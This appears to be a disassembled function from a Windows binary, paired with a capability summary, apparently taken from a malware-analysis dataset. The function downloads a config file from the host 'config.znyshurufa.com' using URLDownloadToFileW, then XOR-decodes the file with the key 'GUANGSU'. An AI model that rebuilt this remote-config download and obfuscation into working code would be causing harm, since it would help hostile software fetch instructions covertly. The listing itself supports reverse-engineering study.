Function at 0x40adf9
Capabilities:
Check if file exists
Download url
Get file size
Read file on windows
Receive data

Disassembly:
push ebp
sub esp, 0x66c
lea ebp, [esp - 4]
mov eax, dword [0x581de4]
xor eax, ebp
mov dword [ebp + 0x66c], eax
push 0x44
mov eax, 0x5291aa
call fcn.0043ca31
mov ebx, 0x206
xor esi, esi
push ebx
lea eax, [ebp + 0x466]
push esi
push eax
mov edi, ecx
mov word [ebp + 0x464], si
call fcn.0043d050
push ebx
lea eax, [ebp + 0x56]
push esi
push eax
mov word [ebp + 0x54], si
call fcn.0043d050
add esp, 0x18
call fcn.0040bb78
cmp dword [edi + 0x40], 8
jb 0x40ae5d
mov ecx, dword [edi + 0x2c]
jmp 0x40ae60
lea ecx, [edi + 0x2c]
push eax
push str.Config
push ecx
lea eax, [ebp + 0x464]
push str._s_s_d.dat
push eax
call fcn.0043d110
add esp, 0x14
cmp dword [edi + 0x40], 8
jb 0x40ae86
mov edi, dword [edi + 0x2c]
jmp 0x40ae89
add edi, 0x2c
push str.Config
push edi
lea eax, [ebp + 0x54]
push 0x52ed50
push eax
call fcn.0043d110
mov edi, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
add esp, 0x10
lea eax, [ebp + 0x464]
push eax
call edi
test eax, eax
jne 0x40afe2
lea eax, [ebp + 0x54]
push str..dat
push eax
call fcn.0040d07b
push ebx
lea eax, [ebp + 0x25e]
push esi
push eax
mov word [ebp + 0x25c], si
call fcn.0043d050
add esp, 0x14
push str.config.znyshurufa.com
lea ecx, [ebp - 0x34]
call fcn.004010c0
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp + 0x38]
push eax
mov dword [ebp - 4], esi
call fcn.0040c537
pop ecx
pop ecx
xor ebx, ebx
push esi
inc ebx
push ebx
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 2
call fcn.004012b0
push str.SmartCloudWB
lea ecx, [ebp - 0x50]
call fcn.00401130
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp]
push eax
mov byte [ebp - 4], 3
call fcn.0040c15d
pop ecx
pop ecx
push esi
push ebx
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 5
call fcn.00401330
lea eax, [ebp]
push eax
call fcn.0040c0ac
lea eax, [ebp]
push eax
lea eax, [ebp + 0x1c]
push eax
call fcn.0040c537
push 0x1869f
push 0x2710
mov byte [ebp - 4], 6
call fcn.0040b6ea
mov edx, dword [ebp + 0x20]
add esp, 0x14
cmp dword [ebp + 0x34], 8
jae 0x40af73
lea edx, [ebp + 0x20]
cmp dword [ebp + 0x50], 8
mov ecx, dword [ebp + 0x3c]
jae 0x40af7f
lea ecx, [ebp + 0x3c]
push eax
push str.srfconfig.dat
push edx
push ecx
lea eax, [ebp + 0x25c]
push str.http:___s__s_common__s__d
push eax
call fcn.0043d110
add esp, 0x18
push esi
push esi
lea eax, [ebp + 0x464]
push eax
lea eax, [ebp + 0x25c]
push eax
push esi
call sub.urlmon.dll_URLDownloadToFileW
cmp eax, esi
je 0x40afc0
push str.Dowm_Load_Failed___
call fcn.0040e20b
pop ecx
push esi
push ebx
lea ecx, [ebp + 0x1c]
call fcn.00401330
push esi
push ebx
lea ecx, [ebp]
call fcn.004012b0
or dword [ebp - 4], 0xffffffff
push esi
push ebx
lea ecx, [ebp + 0x38]
call fcn.00401330
lea eax, [ebp + 0x464]
push eax
mov dword [ebp - 0x14], esi
call edi
test eax, eax
je 0x40b097
push esi
push 0x80
push 4
push esi
push 1
push closesocket
lea eax, [ebp + 0x464]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
mov dword [ebp - 0x10], eax
jne 0x40b022
xor eax, eax
jmp 0x40b0a5
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
lea edi, [ebx + 1]
push edi
call fcn.0041c5f7
cmp eax, esi
pop ecx
mov dword [ebp - 0x14], eax
je 0x40b01b
push edi
push esi
push eax
call fcn.0043d050
add esp, 0xc
push esi
lea eax, [ebp - 0x18]
push eax
push ebx
push dword [ebp - 0x14]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, esi
jbe 0x40b097
push str.GUANGSU
xor edi, edi
call fcn.0043cc80
pop ecx
xor ecx, ecx
cmp ebx, esi
mov dword [ebp - 0x10], eax
jbe 0x40b097
mov eax, dword [ebp - 0x14]
mov dl, byte [edi + str.GUANGSU]
add eax, ecx
xor byte [eax], dl
inc edi
cmp edi, dword [ebp - 0x10]
jl 0x40b092
xor edi, edi
inc ecx
cmp ecx, ebx
jb 0x40b07d
push str.Get_Server_Config_File_Successed___
call fcn.0040e20b
mov eax, dword [ebp - 0x14]
pop ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x66c]
xor ecx, ebp
call fcn.0043ca22
add ebp, 0x670
leave
ret